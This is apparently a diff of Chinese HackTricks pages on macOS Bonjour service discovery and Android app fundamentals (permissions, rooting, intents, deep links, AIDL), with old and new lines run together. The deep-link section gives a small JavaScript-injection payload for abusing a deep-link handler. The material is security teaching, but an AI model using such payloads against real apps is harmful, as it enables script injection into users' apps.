dns-sd -R "Index" _http._tcp . 80 path=/index.html dns-sd -R "Index" _http._tcp . 80 path=/index.html
```
这个命令在端口80上注册了一个名为"Index"的HTTP服务路径为`/index.html`。
#Search HTTP services 要在网络上搜索HTTP服务
```bash
dns-sd -B _http._tcp dns-sd -B _http._tcp
``` ```
启动新服务时,**新服务会向子网上的所有人广播其存在**。监听者不需要提问;它只需要在监听 服务启动时,它通过多播向子网上的所有设备宣布其可用性。对这些服务感兴趣的设备无需发送请求,只需监听这些公告
您可以使用[**此工具**](https://apps.apple.com/us/app/discovery-dns-sd-browser/id1381004916?mt=12)来查看当前本地网络中的**提供的服务**。\ 为了提供更用户友好的界面可在Apple App Store上获取的****Discovery - DNS-SD Browser** 应用程序可以可视化本地网络上提供的服务。
或者您可以使用[**python-zeroconf**](https://github.com/jstasiak/python-zeroconf)编写自己的python脚本
或者,可以编写自定义脚本来使用`python-zeroconf`库浏览和发现服务。[**python-zeroconf**](https://github.com/jstasiak/python-zeroconf)脚本演示了为`_http._tcp.local.`服务创建服务浏览器,并打印已添加或已移除的服务:
```python ```python
from zeroconf import ServiceBrowser, Zeroconf from zeroconf import ServiceBrowser, Zeroconf
class MyListener: class MyListener:
def remove_service(self, zeroconf, type, name): def remove_service(self, zeroconf, type, name):
@ -112,7 +100,6 @@ def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name) info = zeroconf.get_service_info(type, name)
print("Service %s added, service info: %s" % (name, info)) print("Service %s added, service info: %s" % (name, info))
zeroconf = Zeroconf() zeroconf = Zeroconf()
listener = MyListener() listener = MyListener()
browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener) browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener)
@ -121,26 +108,27 @@ input("Press enter to exit...\n\n")
finally: finally:
zeroconf.close() zeroconf.close()
``` ```
如果您认为关闭Bonjour可能会更安全您可以使用以下命令来禁用它 ### 禁用Bonjour
如果出于安全或其他原因需要禁用Bonjour则可以使用以下命令关闭
```bash ```bash
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
``` ```
## 参考资料 ## 参考资料
* [**Mac 黑客手册**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=) * [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
* [**https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html) * [**https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
其他支持 HackTricks 的方式: 支持HackTricks的其他方式:
* 如果您想**HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR **分享您的黑客技巧** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,22 +1,22 @@
# Android 应用基础 # Android 应用基础知识
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持 HackTricks 的其他方式:
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family) 收藏 * 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上关注我**。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 * 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到对您最重要的漏洞以便更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术堆栈中找到问题,从 API 到 web 应用程序和云系统。[**今天免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。 发现最重要的漏洞以便更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -24,154 +24,108 @@
## Android 安全模型 ## Android 安全模型
**有两层:** **有两**
* **操作系统**它使安装的应用程序彼此隔离。 * **操作系统**将安装的应用程序相互隔离。
* **应用程序本身**它允许开发人员**暴露某些功能**并配置应用程序能力 * **应用程序本身**允许开发人员**公开某些功能**并配置应用程序功能
### UID 分离 ### UID 分离
**每个应用程序都分配了一个特定的用户 ID**。这是在安装应用程序时完成的,因此**应用程序只能与其用户 ID 或共享**文件拥有的文件进行交互。因此,只有应用程序本身、操作系统的某些组件和 root 用户可以访问应用程序数据。 **每个应用程序被分配一个特定的用户 ID**。这是在应用程序安装期间完成的,因此**应用程序只能与其用户 ID 拥有的文件或共享文件进行交互**。因此,只有应用程序本身、操作系统的某些组件和 root 用户可以访问应用程序数据。
### UID 共享 ### UID 共享
**两个应用程序可以配置为使用相同的 UID**。这对于共享信息很有用,但如果其中一个受到损害,两个应用程序的数据都将受到损害。这就是为什么这种行为是**不鼓励**的。\ **两个应用程序可以配置为使用相同的 UID**。这可能有助于共享信息,但如果其中一个受到损害,则两个应用程序的数据都将受到损害。这就是为什么这种行为是**不鼓励**的。\
**要共享相同的 UID应用程序必须在其清单中定义相同的 `android:sharedUserId`** **要共享相同的 UID应用程序必须在其清单中定义相同的 `android:sharedUserId` 值**
### 沙箱 ### 沙箱
**Android 应用程序沙箱**允许**每个应用程序**作为**单独的进程在单独的用户 ID 下运行**。每个进程都有自己的虚拟机,因此应用程序的代码与其他应用程序隔离运行。\ **Android 应用程序沙箱**允许**每个应用程序**作为**单独的进程在单独的用户 ID 下运行**。每个进程都有自己的虚拟机,因此应用程序的代码与其他应用程序隔离运行。\
从 Android 5.0(L) 开始强制执行 **SELinux**。基本上SELinux 拒绝了所有进程交互,然后创建策略来**只允许它们之间的预期交互**。 从 Android 5.0L开始**SELinux** 被强制执行。基本上SELinux 拒绝了所有进程交互,然后创建策略**仅允许它们之间的预期交互**。
### 权限 ### 权限
当您安装**应用程序并请求权限**时,应用程序正在请求在**AndroidManifest.xml** 文件中配置**`uses-permission`** 元素中的权限。**uses-permission** 元素在**名称**属性中指示请求的权限名称。它还具有**maxSdkVersion** 属性,该属性在指定的版本上停止请求权限。\ 当您安装一个**应用程序并请求权限**时,应用程序正在请求在**AndroidManifest.xml** 文件中的 **`uses-permission`** 元素中配置的权限。**uses-permission** 元素指示请求的权限名称**name** **属性**中。它还具有 **maxSdkVersion** 属性,该属性在高于指定版本的版本上停止请求权限。\
请注意,android 应用程序不需要在一开始就请求所有权限,它们也可以**动态请求权限**,但所有权限必须在**清单中声明**。 请注意,Android 应用程序不需要在开始时请求所有权限,它们也可以**动态请求权限**,但所有权限必须在**清单中声明**。
当应用程序暴露功能时,它可以限制**只有具有指定权限的应用程序才能访问**。\ 当应用程序公开功能时,它可以限制**仅允许具有特定权限的应用程序访问**。\
权限元素有三个属性: 权限元素有三个属性:
* 权限的**名称** * 权限的**名称**
* **permission-group** 属性,允许对相关权限进行分组。 * **permission-group** 属性,允许对相关权限进行分组。
* **protection-level** 指示如何授予权限。有四种类型: * **protection-level**,指示权限如何授予。有四种类型:
* **Normal**:当应用程序**没有已知威胁**时使用。用户**无需批准**。 * **Normal**:当应用程序**没有已知威胁**时使用。用户**无需批准**。
* **Dangerous**表明权限授予请求应用程序一些**提升的访问权限**。**用户被要求批准它们**。 * **Dangerous**指示权限授予请求应用程序一些**提升的访问权限**。**用户被要求批准**。
* **Signature**:只有**由与导出组件相同的证书签名的应用程序**才能被授予权限。这是最强的保护类型。 * **Signature**:只有**由与导出组件相同的证书签名的应用程序**可以被授予权限。这是最强大的保护类型。
* **SignatureOrSystem**:只有**由与导出组件相同的证书签名的应用程序**或**具有系统级访问权限的应用程序**才能被授予权限 * **SignatureOrSystem**:只有**由与导出组件相同的证书签名的应用程序**或**以系统级访问权限运行的应用程序**可以被授予权限。
## 预装应用程序 ## 预装应用程序
这些应用程序通常位于 **`/system/app`** 或 **`/system/priv-app`** 目录中,其中一些是**优化的**(您甚至可能找不到 `classes.dex` 文件)。这些应用程序值得检查,因为有时它们**运行的权限太多**(作为 root 这些应用程序通常位于 **`/system/app`** 或 **`/system/priv-app`** 目录中,其中一些应用程序是**经过优化的**(您可能甚至找不到 `classes.dex` 文件)。这些应用程序值得检查,因为有时它们以**太多权限运行**(如 root
* **AOSP**Android 开源项目)**ROM** 一起提供的 * **AOSP**Android 开源项目)**ROM** 一起提供的应用程序
* 设备**制造商**添加 * 设备制造商添加
* 由手机**服务提供商**添加(如果从他们那里购买 * 由手机提供商添加(如果从他们那里购买)
## Rooting ## Rooting
为了获得物理 Android 设备的 root 访问权限,通常需要**利用** 1 或 2 个**漏洞**,这些漏洞通常是**特定于**设备和**版本**的。\ 为了在物理 Android 设备上获得 root 访问权限,通常需要**利用** 1 或 2 个**漏洞**,这些漏洞通常是**特定于** **设备** **版本** 的。\
一旦漏洞利用成功,通常会将 Linux `su` 二进制文件复制到用户的 PATH 环境变量中指定的位置,如 `/system/xbin` 一旦利用成功,通常会将 Linux `su` 二进制文件复制到用户的 PATH 环境变量中指定的位置,如 `/system/xbin`
配置 su 二进制文件后,另一个 Android 应用程序用于与 `su` 二进制文件交互并**处理 root 访问请求**,如 **Superuser****SuperSU**(在 Google Play 商店中可用)。 配置 su 二进制文件后,另一个 Android 应用程序用于与 `su` 二进制文件进行交互并**处理 root 访问请求**,如 **Superuser****SuperSU**(在 Google Play 商店中可用)。
{% hint style="danger" %} {% hint style="danger" %}
请注意rooting 过程非常危险,可能会严重损坏设备 请注意root 过程非常危险,可能会严重损坏设备
{% endhint %} {% endhint %}
### ROMs ### ROM
可以**替换操作系统安装自定义固件**。这样做可以扩展旧设备的用途,绕过软件限制或获取最新的 Android 代码。\ 可以通过**安装自定义固件**来**替换操作系统**。这样做可以扩展旧设备的实用性,绕过软件限制或访问最新的 Android 代码。\
**OmniROM** 和 **LineageOS**两个最受欢迎的固件。 **OmniROM** 和 **LineageOS** 是最受欢迎的两种固件。
请注意,**并不总是需要 root 设备**来安装自定义固件。**一些制造商允许**以记录良好且安全的方式解锁他们的引导加载程序。 请注意,**不总是需要 root 设备**才能安装自定义固件。**一些制造商允许**以文件中记录的安全方式解锁其引导加载程序。
### 影响 ### 影响
一旦设备被 root任何应用程序都可以请求以 root 身份访问。如果恶意应用程序获得了它,它几乎可以访问所有内容,并且能够损坏手机。 一旦设备被 root任何应用程序都可以请求 root 访问权限。如果恶意应用程序获得了它,它将可以访问几乎所有内容,并且可以损坏手机。
## Android 应用程序基础 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a> ## Android 应用程序基础知识 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
这个介绍摘自 [https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html) - Android 应用程序的格式称为 _APK 文件格式_。它本质上是一个**ZIP 文件**(通过将文件扩展名更改为 .zip可以提取和查看内容
- APK 内容(不详尽)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc包含预编译资源如二进制 XML。
- res/xml/files\_paths.xml
- META-INF/
- 这是证书的位置!
- **classes.dex**
- 包含 Dalvik 字节码,代表应用程序默认执行的编译 Java或 Kotlin代码。
- lib/
- 包含本机库,按 CPU 架构分隔在子目录中。
- `armeabi`:针对基于 ARM 的处理器的代码
- `armeabi-v7a`:针对 ARMv7 及更高版本的处理器的代码
- `x86`:针对 X86 处理器的代码
- `mips`:仅针对 MIPS 处理器的代码
- assets/
- 存储应用程序需要的各种文件,可能包括额外的本机库或 DEX 文件,有时被恶意软件作者用于隐藏额外的代码。
- res/
- 包含未编译到 resources.arsc 中的资源
### 基础复习 <a href="#fundamentals-review" id="fundamentals-review"></a> ### **Dalvik 和 Smali**
* Android 应用程序以 _APK 文件格式_ 存在。**APK 基本上是一个 ZIP 文件**。(您可以将文件扩展名重命名为 .zip 并使用 unzip 打开并查看其内容。) - 大多数 Android 应用程序是用 Java 或 Kotlin在此上下文中互换开发的。
* APK 内容(不详尽) - **Android 不像桌面应用程序那样在 Java 虚拟机**JVM中运行 Java 代码,而是将 Java 编译为 **Dalvik 可执行DEX字节码**
* **AndroidManifest.xml** - 历史上,字节码的翻译由 Dalvik 虚拟机处理,而更近期的 Android 版本使用 Android 运行时ART
* resources.arsc/strings.xml - 反向工程过程涉及将 DEX 字节码反编译为人类可读格式。
* resources.arsc包含预编译资源的文件例如二进制 XML。
* res/xml/files\_paths.xml
* META-INF/
* 证书就在这里!
* **classes.dex**
* 应用程序的 Dalvik 字节码,以 DEX 文件格式编译。**这是应用程序将默认运行的 Java或 Kotlin代码**。
* lib/
* 应用程序的本地库,默认情况下位于此处!在 lib/ 目录下,有针对特定 CPU 的目录。
* `armeabi`:仅为所有基于 ARM 的处理器编译的代码
* `armeabi-v7a`:仅为所有基于 ARMv7 及以上处理器编译的代码
* `x86`:仅为 X86 编译的代码
* `mips`:仅为 MIPS 处理器编译的代码
* assets/
* 应用程序可能需要的任何其他文件。
* 此处可能包括额外的本地库或 DEX 文件。当恶意软件作者想尝试“隐藏”额外的代码,本地或 Dalvik不包括在默认位置时尤其会发生这种情况。
* res/
* 包含未编译到 resources.arsc 中的资源的目录
### **Dalvik & Smali** **Smali 是 Dalvik 字节码的人类可读形式**。虽然 "Smali" 和 "baksmali" 在技术上指的是汇编器和反汇编器工具,但在 Android 上下文中“Smali”通常指的是指令本身。**SMALI 类似于汇编语言,作为源代码和字节码之间的中介**。
大多数 Android 应用程序是用 Java 编写的。Kotlin 也得到支持,并且与 Java 兼容。为了简单起见对于本次研讨会的其余部分当我提到“Java”时您可以假设我指的是“Java 或 Kotlin”。**与桌面应用程序一样Java 代码在 Java 虚拟机**JVM中运行而在 Android 中,**Java 被编译为 \_Dalvik 可执行DEX字节码**\_\*\* 格式\*\*。对于 Android 的早期版本,字节码由 Dalvik 虚拟机翻译。对于 Android 的较新版本,使用 Android 运行时ART。\
如果开发人员用 Java 编写代码并将其编译为 DEX 字节码,为了进行逆向工程,我们会反向操作。\
\\
![开发人员流程的流程图。Java 到 DEX 字节码](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg)
![逆向工程师流程的流程图。DEX 字节码到 SMALI 到 Decompiled Java](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg)
**Smali 是 Dalvik 字节码的可读版本**。从技术上讲Smali 和 baksmali 是工具的名称(分别是汇编器和反汇编器),但在 Android 中我们经常使用“Smali”一词来指代指令。如果您在编译的 C/C++ 代码上进行过逆向工程或计算机架构。**SMALI 就像汇编语言:介于更高级别的源代码和字节码之间**。
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到对您最重要的漏洞以便更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术堆栈中找到问题,从 API 到 web 应用程序和云系统。[**今天免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Intents
Intents 是 Android 应用程序之间或与其他应用程序通信的主要方式。这些消息对象也可以在应用程序或组件之间传递数据,类似于 HTTP 通信中使用的 GET/POST 请求。
因此Intent 基本上是在组件之间传递的**消息**。Intents **可以定向**到特定组件或应用程序,**也可以在没有特定接收者的情况下发送**。\
简单来说Intent 可以用于:
* 启动一个 Activity通常为应用程序打开用户界面
* 作为广播通知系统和应用程序的变化
* 启动、停止和与后台服务通信
* 通过 ContentProviders 访问数据
* 作为回调处理事件
实现不当可能导致数据泄露、受限功能被调用和程序流程被操纵。
### Intent-Filter
Intent Filter 指定活动、服务或广播接收器可以响应的**Intent 类型**。它指定活动或服务可以做什么以及接收器可以处理的广播类型。它允许相应的组件接收声明类型的 Intents。Intent Filters 通常**通过 AndroidManifest.xml 文件定义**。对于**广播接收器**,也可以在**编码中定义**。Intent Filter 由其类别、动作和数据过滤器定义。它还可以包含额外的元数据。
在 Android 中,当**`exported`** 设置为 **`true`** 时,活动/服务/内容提供者/广播接收器是**公开的**,但如果**清单为其指定了 Intent filter**,组件**也是公开的**。然而,\
开发人员可以**明确地将组件设为私有**(不管任何 intent filters\
通过在清单文件中为每个组件设置 \*\* `exported` 属性为 `false`\*\*。\
开发人员还可以设置**`permission`** 属性来**要求特定权限以访问**组件,从而限制对组件的访问。
### 隐式 Intents
Intents 是使用 Intent 构造函数在程序中创建的:
```java ```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
``` ```
```markdown **Action**之前声明的意图是**ACTION\_SEND****Extra**是一个mailto **Uri**Extra是意图期望的额外信息
**动作**是之前声明的意图是 **ACTION\_SEND**,而**额外数据**是一个mailto **Uri**(额外数据是意图期望的额外信息)。
此意图应在清单中声明,如下例所示: 这个意图应该在清单文件中声明,就像以下示例中所示:
```
```markup ```markup
<activity android:name="ShareActivity"> <activity android:name="ShareActivity">
<intent-filter> <intent-filter>
@ -180,102 +134,102 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
</intent-filter> </intent-filter>
</activity> </activity>
``` ```
一个intent-filter需要匹配**动作**、**数据**和**类别**来接收消息。 一个 intent-filter 需要匹配 **action**、**data** 和 **category** 才能接收消息。
"Intent解析"过程决定哪个应用应该接收每个消息。这个过程考虑了**优先级属性**,可以在**intent-filter声明**中设置,**优先级较高的将被选中**。这个优先级可以设置在-1000到1000之间应用程序可以使用`SYSTEM_HIGH_PRIORITY`值。如果出现**冲突**,会出现一个"选择器"窗口,以便**用户可以决定** "Intent resolution" 过程确定哪个应用程序应该接收每条消息。此过程考虑 **priority attribute**,可以在 **intent-filter declaration** 中设置,**优先级较高的将被选择**。此优先级可设置在 -1000 到 1000 之间,应用程序可以使用 `SYSTEM_HIGH_PRIORITY` 值。如果出现 **冲突**,将出现一个“选择器”窗口,以便 **用户可以决定**
### 显式Intents ### 显式 Intent
一个显式intent指定了它目标的类名: 显式 intent 指定了它所针对的类名:
```java ```java
Intent downloadIntent = new (this, DownloadService.class): Intent downloadIntent = new (this, DownloadService.class):
``` ```
在其他应用程序中,为了访问之前声明的intent可以使用: 在其他应用程序中,为了访问先前声明的意图,您可以使用:
```java ```java
Intent intent = new Intent(); Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName"); intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent); context.startService(intent);
``` ```
### 待处理的意图 ### Pending Intents
这些允许其他应用程序**代表您的应用程序采取行动**,使用您的应用程序的身份和权限。构建一个待处理的意图时,应该**指定一个意图和要执行的动作**。如果**声明的意图不是显式的**(没有声明哪个意图可以调用它),一个**恶意应用程序可能会代表受害者应用程序执行声明的动作**。此外,**如果没有指定动作**,恶意应用程序将能够代表受害者执行**任何动作**。 这些允许其他应用**代表您的应用执行操作**,使用您应用的身份和权限。构建一个 Pending Intent 时,应该**指定一个意图和要执行的操作**。如果**声明的意图不是显式的**(没有声明哪个意图可以调用它),一个**恶意应用程序可以代表受害者应用执行声明的操作**。此外,**如果没有指定操作**,恶意应用程序将能够**代表受害者执行任何操作**。
### 广播意图 ### Broadcast Intents
前面的意图不同,只被一个应用程序接收,广播意图**可以被多个应用程序接收**。然而从API版本14开始**可以指定应该接收消息的应用程序**使用Intent.set Package 之前的意图不同,广播意图**可以被多个应用接收**。但是,从 API 版本 14 开始,可以使用 Intent.set Package 来**指定应该接收消息的应用程序**
另外,发送广播时也可以**指定一个权限**。接收应用程序将需要拥有那个权限。 另外,**在发送广播时也可以指定权限**。接收应用程序将需要拥有该权限。
有**两种类型**广播:**普通**(异步)和**有序**(同步)。**顺序**基于**接收器**元素内配置的**优先级**。**每个应用程序可以处理、转发或丢弃广播。** 有**两种**广播:**普通**(异步)和**有序**(同步)。**顺序**基于**接收器内配置的优先级**。**每个应用程序可以处理、中继或丢弃广播**。
可以使用`Context`类中的**`sendBroadcast(intent, receiverPermission)`** 函数**发送**一个**广播**。\ 可以使用 `Context` 类中的函数 \*\*`sendBroadcast(intent, receiverPermission)` \*\* 来**发送**广播。\
您还可以使用**`LocalBroadCastManager`** 中的 **`sendBroadcast`** 函数确保**消息永远不会离开应用程序**。使用这个您甚至不需要导出接收器组件。 您还可以使用 **`LocalBroadCastManager`** 中的函数 **`sendBroadcast`**,确保**消息永远不会离开应用程序**。使用这种方式,甚至不需要导出接收器组件。
### 粘性广播 ### Sticky Broadcasts
这种类型的广播**在发送后很久仍然可以访问**。\ 这种广播**可以在发送后很长时间后访问**。\
它们在API级别21中被弃用,建议**不要使用它们**。\ 这在 API 级别 21 中已被弃用,建议**不要使用它们**。\
**它们允许任何应用程序嗅探数据,但也可以修改数据** **它们允许任何应用程序嗅探数据,但也可以修改数据**
如果您发现包含“sticky”这个词的函数如**`sendStickyBroadcast`** 或 **`sendStickyBroadcastAsUser`****检查影响并尝试移除它们**。 如果发现包含单词“sticky”的函数如**`sendStickyBroadcast`**或**`sendStickyBroadcastAsUser`****检查影响并尝试删除它们**。
## 深度链接 / URL方案 ## Deep links / URL schemes
**深度链接允许通过URL触发一个意图**。一个应用程序可以在活动中声明一个**URL方案**所以每次Android设备尝试**使用该方案访问地址**时,应用程序的活动将被调用: **Deep links 允许通过 URL 触发一个意图**。应用程序可以在活动中声明一个**URL模式**,因此每次 Android 设备尝试**使用该模式访问地址**时,应用程序的活动将被调用:
![](<../../.gitbook/assets/image (214).png>) ![](<../../.gitbook/assets/image (214).png>)
在这个例子中方案是 `myapp://`(也注意**`category BROWSABLE`** 在这种情况下,方案是 `myapp://`(还要注意**`category BROWSABLE`**
如果在`intent-filter`中找到这样的内容: 如果在 `intent-filter` 中找到类似以下内容:
![](<../../.gitbook/assets/image (263).png>) ![](<../../.gitbook/assets/image (263).png>)
那么,它期待的是像 `http://www.example.com/gizmos` 这样的内容 那么,它期望类似 `http://www.example.com/gizmos` 的内容
如果你找到这样的内容: 如果找到类似以下内容:
![](<../../.gitbook/assets/image (262).png>) ![](<../../.gitbook/assets/image (262).png>)
将意味着它期待一个以 `example://gizmos` 开头的URL\ 意味着它期望以 `example://gizmos` 开头的 URL\
在这种情况下,您可以尝试滥用该功能创建一个带有以下有效载荷的网页。它将尝试导航到任意页面并尝试执行JS 在这种情况下,您可以尝试滥用功能,创建一个包含以下有效负载的网页。它将尝试导航到任意页面并尝试执行 JS:
```markup ```markup
<a href="example://gizmos/https://google.com">click here</a> <a href="example://gizmos/https://google.com">click here</a>
<a href="example://gizmos/javascript://%250dalert(1)">click here</a> <a href="example://gizmos/javascript://%250dalert(1)">click here</a>
``` ```
为了找到**将在应用中执行的代码**请转到被deeplink调用的activity并搜索函数**`onNewIntent`** 要找到在应用程序中将执行的**代码**,请转到由深度链接调用的活动,并搜索**`onNewIntent`**函数
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>) ![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
学习如何[不使用HTML页面调用深层链接](./#exploiting-schemes-deep-links)。 了解如何[在不使用HTML页面的情况下调用深度链接](./#exploiting-schemes-deep-links)。
## AIDL - Android接口定义语言 ## AIDL - Android Interface Definition Language
**Android接口定义语言**AIDL允许您定义客户端和服务同意的编程接口以便使用**进程间通信**IPC**相互通信**。在Android上**一个进程通常无法访问另一个进程的内存**。因此,为了通信,它们需要将对象分解为**操作系统**可以理解的原语并为您跨越那个边界传输对象。编写执行该传输的代码是乏味的因此Android使用AIDL为您处理这些工作。 **Android Interface Definition Language**AIDL允许您定义客户端和服务之间同意的编程接口以便它们可以通过**进程间通信**IPC相互通信。在Android上**一个进程通常无法访问另一个进程的内存**。因此它们需要将对象分解为操作系统可以理解的基元并在对象之间进行对象的编组以进行通信。编写执行此编组的代码很繁琐因此Android会使用AIDL为您处理。
使用AIDL的服务被称为**绑定服务**。在服务的类中,您会找到**`onBind`**方法。这是**交互开始的地方**,因此它是审查代码寻找潜在漏洞的初始部分 使用AIDL的服务称为**绑定服务**。在服务类中,您将找到**`onBind`**方法。这是**交互开始的地方**,因此这是要审查的代码的初始部分,以寻找潜在的漏洞
绑定服务是客户端-服务器接口中的服务器。**它允许组件(如活动)绑定到服务,发送请求,接收响应,并执行进程间通信**IPC。绑定服务通常只在为另一个应用程序组件服务时存在,并不会无限期地在后台运行。 绑定服务是客户端-服务器接口中的服务器。**它允许组件(如活动)绑定到服务,发送请求,接收响应,并执行进程间通信**IPC。绑定服务通常仅在为另一个应用程序组件提供服务时才存在,并且不会无限期在后台运行。
### Messenger ### Messenger
Messenger是另一种IPC机制。由于**Messenger也是“绑定服务”**,因此客户端应用传递的数据也通过`onBind`方法处理。因此,代码审查应从此方法开始,并且您应该寻找对敏感功能的调用或对数据的不安全处理。 Messenger是另一种IPC机制。由于**Messenger也是“绑定服务”**,因此客户端应用程序传递的数据也通过`onBind`方法进行处理。因此,代码审查应从此方法开始,并找对敏感功能的调用或对数据的不安全处理。
### Binder ### Binder
直接调用Binder类很奇怪因为使用AIDL抽象Binder类要容易得多。但是了解**Binder是一个内核级驱动程序它将数据从一个进程的内存移动到另一个进程的内存**[https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8))是有好处的。 直接调用Binder类很奇怪因为使用AIDL抽象Binder类要容易得多。但是了解**Binder是一个内核级驱动程序可将数据从一个进程的内存移动到另一个进程的内存**是很有用的。
## 组件 ## 组件
这些包括:**活动,服务,广播接收器和提供者。** 这些包括:**活动、服务、广播接收器和提供程序**。
### 启动器活动和其他活动 ### 启动器活动和其他活动
